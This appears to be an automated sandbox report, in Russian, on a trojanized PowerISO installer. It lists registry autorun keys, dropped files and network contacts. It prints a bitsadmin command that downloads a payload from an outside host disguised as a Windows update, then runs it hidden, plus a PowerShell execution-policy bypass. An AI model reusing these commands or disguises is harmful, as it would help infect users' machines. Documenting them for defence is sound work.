Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\Software\Classes\PowerISO\shell\open\command] '' = '"%ProgramFiles%\PowerISO\PowerISO.exe" "%1"'
- [HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\] 'PWRISOVM.EXE' = '%ProgramFiles%\PowerISO\PWRISOVM.EXE -startup'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\c__ytwfnp_<Имя файла>.exe
- <SYSTEM32>\tasks\installtask_5181
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\SCDEmu] 'Start' = '00000001'
Вредоносные функции
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\explorer.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\040b3cd\poweriso.msi
- %TEMP%\shi16b0.tmp
- %TEMP%\msi175d.tmp
- %TEMP%\msi1a3c.tmp
- %TEMP%\msi1b47.tmp
- %TEMP%\msi1bb5.tmp
- %TEMP%\ai_extui_bin_4048\dialog.jpg
- %TEMP%\ai_extui_bin_4048\completi
- %TEMP%\ai_extui_bin_4048\custicon
- %TEMP%\ai_extui_bin_4048\exclamic
- %TEMP%\ai_extui_bin_4048\info
- %TEMP%\ai_extui_bin_4048\insticon
- %TEMP%\ai_extui_bin_4048\removico
- %TEMP%\ai_extui_bin_4048\repairic
- %TEMP%\ai_extui_bin_4048\up
- %TEMP%\ai_extui_bin_4048\new
- %TEMP%\ai_extui_bin_4048\banner.jpg
- %TEMP%\ai_extui_bin_4048\tabback
- %TEMP%\ai_extui_bin_4048\cmdlinkarrow
- %TEMP%\ai_extui_bin_4048\dialog.scale125.jpg
- %TEMP%\ai_extui_bin_4048\banner.svg
- %TEMP%\ai_extui_bin_4048\lzmaextractor.dll
- %TEMP%\ai_extui_bin_4048\dialog.svg
- %TEMP%\ai_extui_bin_4048\banner.scale125.jpg
- %TEMP%\ai_extui_bin_4048\banner.scale150.jpg
- %TEMP%\ai_extui_bin_4048\banner.scale200.jpg
- %TEMP%\ai_extui_bin_4048\dialog.scale150.jpg
- %TEMP%\ai_extui_bin_4048\dialog.scale200.jpg
- %TEMP%\msi1dba.tmp
- %TEMP%\poweriso\s.exe
- %TEMP%\nsl243e.tmp
- %TEMP%\nsa244e.tmp\system.dll
- %TEMP%\nsa244e.tmp\instopt.dll
- %ProgramFiles%\poweriso\devcon.exe
- %ProgramFiles%\poweriso\setup64.exe
- %TEMP%\nsj2b74.tmp
- <DRIVERS>\scdemu.sys
- %ProgramFiles%\poweriso\lang\english.ini
- %ProgramFiles%\poweriso\lang\simpchinese.ini
- %ProgramFiles%\poweriso\lang\tradchinese.ini
- %ProgramFiles%\poweriso\lang\italian.ini
- %ProgramFiles%\poweriso\lang\polish.ini
- %ProgramFiles%\poweriso\lang\french.ini
- %ProgramFiles%\poweriso\lang\arabic.ini
- %ProgramFiles%\poweriso\lang\bulgarian.ini
- %ProgramFiles%\poweriso\lang\korean.ini
- %ProgramFiles%\poweriso\lang\czech.ini
- %ProgramFiles%\poweriso\lang\lithuanian.ini
- %ProgramFiles%\poweriso\lang\greek.ini
- %ProgramFiles%\poweriso\lang\spanish.ini
- %ProgramFiles%\poweriso\lang\turkish.ini
- %ProgramFiles%\poweriso\lang\hungarian.ini
- %ProgramFiles%\poweriso\lang\german.ini
- %ProgramFiles%\poweriso\lang\russian.ini
- %ProgramFiles%\poweriso\lang\japanese.ini
- %ProgramFiles%\poweriso\lang\slovenian.ini
- %ProgramFiles%\poweriso\lang\swedish.ini
- %ProgramFiles%\poweriso\lang\norsk.ini
- %ProgramFiles%\poweriso\lang\portuguese(brazil).ini
- %ProgramFiles%\poweriso\lang\dutch.ini
- %ProgramFiles%\poweriso\lang\thai.ini
- %ProgramFiles%\poweriso\lang\danish.ini
- %ProgramFiles%\poweriso\lang\ukrainian.ini
- %ProgramFiles%\poweriso\lang\croatian.ini
- %ProgramFiles%\poweriso\lang\farsi.ini
- %ProgramFiles%\poweriso\lang\belarusian.ini
- %ProgramFiles%\poweriso\lang\armenian.ini
- %ProgramFiles%\poweriso\lang\serbian(cyrl).ini
- %ProgramFiles%\poweriso\lang\malay.ini
- %ProgramFiles%\poweriso\lang\bosnian.ini
- %ProgramFiles%\poweriso\lang\slovak.ini
- %ProgramFiles%\poweriso\lang\vietnamese.ini
- %ProgramFiles%\poweriso\lang\kazakh.ini
- %ProgramFiles%\poweriso\lang\indonesian.ini
- %ProgramFiles%\poweriso\lang\azerbaijani.ini
- %ProgramFiles%\poweriso\lang\urdu(pakistan).ini
- %ProgramFiles%\poweriso\lang\romanian.ini
- %ProgramFiles%\poweriso\lang\finnish.ini
- %ProgramFiles%\poweriso\lang\burmese.ini
- %ProgramFiles%\poweriso\lang\portuguese(portugal).ini
- %ProgramFiles%\poweriso\poweriso.exe
- %ProgramFiles%\poweriso\piso.exe
- %ProgramFiles%\poweriso\lame_enc.dll
- %ProgramFiles%\poweriso\libflac.dll
- %ProgramFiles%\poweriso\macdll.dll
- %ProgramFiles%\poweriso\libvorbis.dll
- %ProgramFiles%\poweriso\unrar64.dll
- %ProgramFiles%\poweriso\7z-x64.dll
- %ProgramFiles%\poweriso\poweriso.chm
- %ProgramFiles%\poweriso\readme.txt
- %ProgramFiles%\poweriso\license.txt
- %ProgramFiles%\poweriso\pwrisosh.dll
- %ProgramFiles%\poweriso\pwrisovm.exe
- %ProgramFiles%\poweriso\uninstall.exe
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\poweriso\uninstall poweriso.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\poweriso\poweriso help.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\poweriso\poweriso.lnk
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\poweriso\poweriso virtual drive manager.lnk
- C:\users\public\desktop\poweriso.lnk
- %TEMP%\msi3990.tmp
- %TEMP%\pre3eb1.tmp
- %WINDIR%\temp\~df3b26e4f22d27bc9b.tmp
- %WINDIR%\installer\sourcehash{a56050a5-9992-4e49-81fe-35b88040b3cd}
- %WINDIR%\temp\~df066c4aec2bbbf174.tmp
- %WINDIR%\temp\~df436890b04f53a678.tmp
- %WINDIR%\temp\~dfb91ddc98ce2e023a.tmp
- %WINDIR%\temp\~df31261d30e991a2b3.tmp
- %WINDIR%\temp\~dfb49efa81d8948aad.tmp
- %WINDIR%\temp\~df52ecab8e28922be7.tmp
- %WINDIR%\temp\~df9037ef002d7c6a32.tmp
- %WINDIR%\systemtemp\scr55fc.ps1
- %WINDIR%\systemtemp\pss55fe.ps1
- %WINDIR%\systemtemp\pob561e.tmp\por561f.tmp
- %TEMP%\windowsupdate\bit77cb.tmp
- %TEMP%\windowsupdate\borlndmm.dll
- %TEMP%\windowsupdate\smsc.exe
- %WINDIR%\temp\~dfc03aaf6bff2056a5.tmp
- %WINDIR%\temp\~dfe2181d1a77d4566a.tmp
- %WINDIR%\temp\~dfb6906d9cc6f425a5.tmp
- %WINDIR%\temp\~dfe0250922d7875662.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\windowsupdate\bit77cb.tmp
Удаляет следующие файлы
- <SYSTEM32>\tasks\c__ytwfnp_<Имя файла>.exe
Перемещает следующие файлы
- %TEMP%\windowsupdate\bit77cb.tmp в %TEMP%\windowsupdate\kb3056894.zip
Сетевая активность
Подключается к
- 'localhost':5985
- 'lo##r.com':443
- 'x1.#.lencr.org':80
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
Другие
- 'lo#####freelofhr.net':443
UDP
- DNS ASK lo##r.com
- DNS ASK x1.#.lencr.org
- DNS ASK lo#####freelofhr.net
Другое
Ищет следующие окна
- ClassName: 'SCDEMUAPP_C2C80BFA WNDCLASS' WindowName: ''
- ClassName: 'SCDEMUAPP_C2C80BFB WNDCLASS' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\poweriso\s.exe' /S
- '%ProgramFiles%\poweriso\devcon.exe' remove *scdbusDevice
- '%ProgramFiles%\poweriso\setup64.exe' cp %TEMP%\nsj2B74.tmp "<DRIVERS>\scdemu.sys"
- '%ProgramFiles%\poweriso\pwrisovm.exe' 999
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "%WINDIR%\SystemTemp\pss55FE.ps1" -propFile "%WINDIR%\SystemTemp\msi55FB.txt" -scriptFile "%WINDIR%\SystemTemp\scr55FC.ps1" -scriptArgsF...
- '%TEMP%\windowsupdate\smsc.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\regsvr32.exe' /s /u "%ProgramFiles%\PowerISO\PWRISOSH.DLL"
- '%WINDIR%\syswow64\regsvr32.exe' /s "%ProgramFiles%\PowerISO\PWRISOSH.DLL"
- '<SYSTEM32>\regsvr32.exe' /s "%ProgramFiles%\PowerISO\PWRISOSH.DLL"
- '%WINDIR%\syswow64\msiexec.exe' /i %TEMP%\040B3CD\PowerISO.msi /qn AI_SETUPEXEPATH=<Полный путь к файлу> SETUPEXEDIR=<Текущая директория>\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1758421160 " ALLUSERS="1" AI_EUI...
- '<SYSTEM32>\bitsadmin.exe' /transfer LegitJob /download /priority normal "https://lofhr.com/windows11.25-kb4090007-x64_7063a0b6a38e2a648aa1d77570503f7062360c9d.zip" "%TEMP%\WindowsUpdate\KB3056894.zip"
- '%WINDIR%\explorer.exe' "%TEMP%\WindowsUpdate\smsc.exe"
- '%TEMP%\windowsupdate\smsc.exe' (со скрытым окном)
